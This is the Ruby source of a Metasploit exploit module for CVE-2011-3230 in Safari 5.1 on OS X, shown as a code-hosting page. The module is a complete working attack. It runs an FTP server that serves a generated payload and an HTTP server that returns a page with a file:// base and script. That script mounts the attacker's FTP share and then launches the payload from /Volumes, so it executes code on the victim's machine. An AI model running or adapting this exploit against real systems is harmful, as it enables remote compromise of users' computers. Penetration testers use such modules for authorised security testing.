Path: blob/master/modules/exploits/osx/browser/safari_file_policy.rb
57261 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::FtpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => "Apple Safari file:// Arbitrary Code Execution",15'Description' => %q{16This module exploits a vulnerability found in Apple Safari on OS X platform.17A policy issue in the handling of file:// URLs may allow arbitrary remote code18execution under the context of the user.1920In order to trigger arbitrary remote code execution, the best way seems to21be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or22a file format that OS X might automount), and then execute it in /Volumes/[share].23If there's some kind of bug that leaks the victim machine's current username,24then it's also possible to execute the payload in /Users/[username]/Downloads/,25or else bruteforce your way to getting that information.2627Please note that non-java payloads (*.sh extension) might get launched by28Xcode instead of executing it, in that case please try the Java ones instead.29},30'License' => MSF_LICENSE,31'Author' => [32'Aaron Sigel', # Initial discovery33'sinn3r', # Metasploit (also big thanks to HD, and bannedit)34],35'References' => [36[ 'CVE', '2011-3230' ],37[ 'OSVDB', '76389' ],38[ 'URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments' ],39[ 'URL', 'http://support.apple.com/kb/HT5000' ]40],41'Payload' => {42'BadChars' => "",43},44'DefaultOptions' => {45'EXITFUNC' => "none",46},47'Platform' => %w{java osx unix},48'Arch' => [ ARCH_CMD, ARCH_JAVA ],49'Targets' => [50[ 'Safari 5.1 on OS X', {} ],51[ 'Safari 5.1 on OS X with Java', {} ]52],53'Privileged' => true,54'DisclosureDate' => '2011-10-12', # Blog date55'DefaultTarget' => 0,56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options(65[66OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),67OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),68OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])69]70)71end7273#74# Start the FTP aand HTTP server75#76def exploit77# The correct extension name is necessary because that's how the LauncherServices78# determines how to open the file.79ext = (target.name =~ /java/i) ? '.jar' : '.sh'80@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext8182# Start the FTP server83start_service()84print_status("Local FTP: #{bindhost}:#{bindport}")8586# Create our own HTTP server87# We will stay in this functino until we manually terminate execution88start_http()89end9091#92# Override the client connection method and93# initialize our payload94#95def on_client_connect(c)96r = super(c)97@state[c][:payload] = regenerate_payload(c).encoded98r99end100101#102# Handle FTP LIST request (send back the directory listing)103#104def on_client_command_list(c, arg)105conn = establish_data_connection(c)106if not conn107c.put("425 Can't build data connection\r\n")108return109end110111print_status("Data connection setup")112c.put("150 Here comes the directory listing\r\n")113114print_status("Sending directory list via data connection")115month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']116m = month_names[Time.now.month - 1]117d = Time.now.day118y = Time.now.year119120dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"121conn.put(dir)122conn.close123124print_status("Directory sent ok")125c.put("226 Transfer ok\r\n")126127return128end129130#131# Handle the FTP RETR request. This is where we transfer our actual malicious payload132#133def on_client_command_retr(c, arg)134conn = establish_data_connection(c)135if not conn136c.put("425 can't build data connection\r\n")137return138end139140print_status("Connection for file transfer accepted")141c.put("150 Connection accepted\r\n")142143# Send out payload144conn.put(@state[c][:payload])145conn.close146return147end148149#150# Handle the HTTP request and return a response. Code borrorwed from:151# msf/core/exploit/http/server.rb152#153def start_http(opts = {})154# Ensure all dependencies are present before initializing HTTP155use_zlib156157comm = datastore['ListenerComm']158if (comm.to_s == "local")159comm = ::Rex::Socket::Comm::Local160else161comm = nil162end163164# Default the server host / port165opts = {166'ServerHost' => srvhost,167'ServerPort' => datastore['HTTPPORT'],168'Comm' => comm169}.update(opts)170171# Start a new HTTP server172@http_service = Rex::ServiceManager.start(173Rex::Proto::Http::Server,174opts['ServerPort'].to_i,175opts['ServerHost'],176datastore['SSL'],177{178'Msf' => framework,179'MsfExploit' => self,180},181opts['Comm'],182datastore['SSLCert']183)184185@http_service.server_name = datastore['HTTP::server_name']186187# Default the procedure of the URI to on_request_uri if one isn't188# provided.189uopts = {190'Proc' => Proc.new { |cli, req|191on_request_uri(cli, req)192},193'Path' => resource_uri194}.update(opts['Uri'] || {})195196proto = (datastore["SSL"] ? "https" : "http")197print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")198199if (opts['ServerHost'] == '0.0.0.0')200print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")201end202203# Add path to resource204@service_path = uopts['Path']205@http_service.add_resource(uopts['Path'], uopts)206207# As long as we have the http_service object, we will keep the ftp server alive208while @http_service209select(nil, nil, nil, 1)210end211end212213#214# Kill HTTP/FTP (shut them down and clear resources)215#216def cleanup217super218219# clear my resource, deregister ref, stop/close the HTTP socket220begin221@http_service.remove_resource(datastore['URIPATH'])222@http_service.deref223@http_service = nil224rescue225end226end227228#229# Ensures that gzip can be used. If not, an exception is generated. The230# exception is only raised if the DisableGzip advanced option has not been231# set.232#233def use_zlib234if !Rex::Text.zlib_present? && datastore['HTTP::compression']235fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")236end237end238239#240# Returns the configured (or random, if not configured) URI path241#242def resource_uri243path = datastore['URIPATH'] || rand_text_alphanumeric(8 + rand(8))244path = '/' + path if path !~ /^\//245datastore['URIPATH'] = path246return path247end248249#250# Handle HTTP requets and responses251#252def on_request_uri(cli, request)253agent = request.headers['User-Agent']254255if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/256print_error("Unsupported target: #{agent}")257send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")258return259end260261html = <<-HTML262<html>263<head>264<base href="file://">265<script>266function launch() {267document.location = "/Volumes/#{srvhost_addr}/#{@payload_name}";268}269270function share() {271document.location = "ftp://anonymous:anonymous@#{srvhost_addr}/";272setTimeout("launch()", 2000);273}274275share();276</script>277</head>278<body>279</body>280</html>281HTML282283send_response(cli, 200, 'OK', html)284end285286#287# Create an HTTP response and then send it288#289def send_response(cli, code, message = 'OK', html = '')290proto = Rex::Proto::Http::DefaultProtocol291res = Rex::Proto::Http::Response.new(code, message, proto)292res['Content-Type'] = 'text/html'293res.body = html294295cli.send_response(res)296end297end298299=begin300- Need to find a suitable payload that can be executed without warning.301Certain executables cannot be executed due to permission issues. A jar file doesn't have this302problem, but we still get a "Are you sure?" warning before it can be executed.303- Allow user-specified port to automount the share304- Allow ftp USERNAME/PASSWORD (optional)305=end306307308